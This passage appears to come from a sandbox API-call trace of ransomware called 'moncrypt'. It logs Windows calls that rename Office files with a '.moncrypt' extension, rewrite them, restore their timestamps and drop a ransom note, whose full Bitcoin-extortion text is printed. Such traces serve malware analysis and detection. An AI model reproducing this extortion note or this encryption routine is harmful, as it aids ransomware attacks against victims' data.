returned 1 [0048.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", dwFileAttributes=0x20) returned 1 [0048.810] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.moncrypt")) returned 1 [0048.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.811] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.811] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x5aa [0048.811] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.811] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x5aa, lpOverlapped=0x0) returned 1 [0048.812] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.812] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.812] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.812] GlobalUnlock (hMem=0x440004) returned 0 [0048.813] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.813] GlobalUnlock (hMem=0x44000c) returned 0 [0048.813] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.813] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.813] GlobalUnlock (hMem=0x44000c) returned 0 [0048.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.832] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.832] CloseHandle (hObject=0x190) returned 1 [0048.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT堮䱍\x18\x03") returned 34 [0048.833] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.833] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.833] GlobalUnlock (hMem=0x44000c) returned 0 [0048.833] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.833] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.833] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.833] GlobalUnlock (hMem=0x44000c) returned 0 [0048.833] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.833] GlobalUnlock (hMem=0x440004) returned 0 [0048.833] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69be0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.833] GetLastError () returned 0x2 [0048.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.836] WriteFile (in: hFile=0x190, lpBuffer=0x1dcd3b8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e6a4, lpOverlapped=0x0 | out: lpBuffer=0x1dcd3b8*, lpNumberOfBytesWritten=0x18e6a4*=0x649, lpOverlapped=0x0) returned 1 [0048.837] CloseHandle (hObject=0x190) returned 1 [0048.838] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.838] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.838] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.838] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.838] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.838] GlobalUnlock (hMem=0x440004) returned 0 [0048.838] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.838] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.838] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.838] GlobalUnlock (hMem=0x440004) returned 0 [0048.838] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.838] GlobalUnlock (hMem=0x44000c) returned 0 [0048.838] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.838] CharLowerBuffW (in: lpsz="SETUP.XML", cchLength=0x9 | out: lpsz="setup.xml") returned 0x9 [0048.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT堮䱍\x18\x03") returned 34 [0048.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", cchWideChar=105, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpUsedDefaultChar=0x0) returned 105 [0048.839] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.839] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpUsedDefaultChar=0x0) returned 4 [0048.839] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0x54e280 [0048.839] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.839] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.839] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML", dwFileAttributes=0x20) returned 1 [0048.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.841] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.moncrypt")) returned 1 [0048.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.843] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.844] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x648 [0048.844] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.844] ReadFile (in: hFile=0x190, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e3b4*=0x648, lpOverlapped=0x0) returned 1 [0048.845] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.845] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.849] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.849] GlobalUnlock (hMem=0x44000c) returned 0 [0048.849] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.849] GlobalUnlock (hMem=0x440004) returned 0 [0048.850] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.850] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.850] GlobalUnlock (hMem=0x440004) returned 0 [0048.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.861] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.861] CloseHandle (hObject=0x190) returned 1 [0048.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.862] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT堮䱍\x18\x03") returned 34 [0048.862] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.862] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.862] GlobalUnlock (hMem=0x440004) returned 0 [0048.862] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.862] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.862] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.862] GlobalUnlock (hMem=0x440004) returned 0 [0048.862] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.862] GlobalUnlock (hMem=0x44000c) returned 0 [0048.862] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e645600, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e645600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e645600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.863] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.863] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.863] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.863] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.863] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.863] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.863] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.863] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.863] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.863] ReadFile (in: hFile=0x190, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.863] CloseHandle (hObject=0x190) returned 1 [0048.864] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.864] GetLastError () returned 0x12 [0048.864] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.864] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.864] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.864] GlobalUnlock (hMem=0x44000c) returned 0 [0048.864] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.864] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.864] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.864] GlobalUnlock (hMem=0x44000c) returned 0 [0048.864] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.864] GlobalUnlock (hMem=0x440004) returned 0 [0048.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e645600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e645600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.864] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.864] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.864] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.864] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.864] GlobalUnlock (hMem=0x440004) returned 0 [0048.864] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.864] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.864] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.864] GlobalUnlock (hMem=0x440004) returned 0 [0048.864] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.864] GlobalUnlock (hMem=0x44000c) returned 0 [0048.865] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.865] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e645600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e645600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.865] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.865] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.865] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.865] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.865] GlobalUnlock (hMem=0x44000c) returned 0 [0048.865] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.865] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.865] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.865] GlobalUnlock (hMem=0x44000c) returned 0 [0048.865] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.865] GlobalUnlock (hMem=0x440004) returned 0 [0048.865] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.865] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e645600, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e645600, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e645600, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.865] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.865] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.865] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.865] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.865] GlobalUnlock (hMem=0x440004) returned 0 [0048.865] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.865] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.865] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.865] 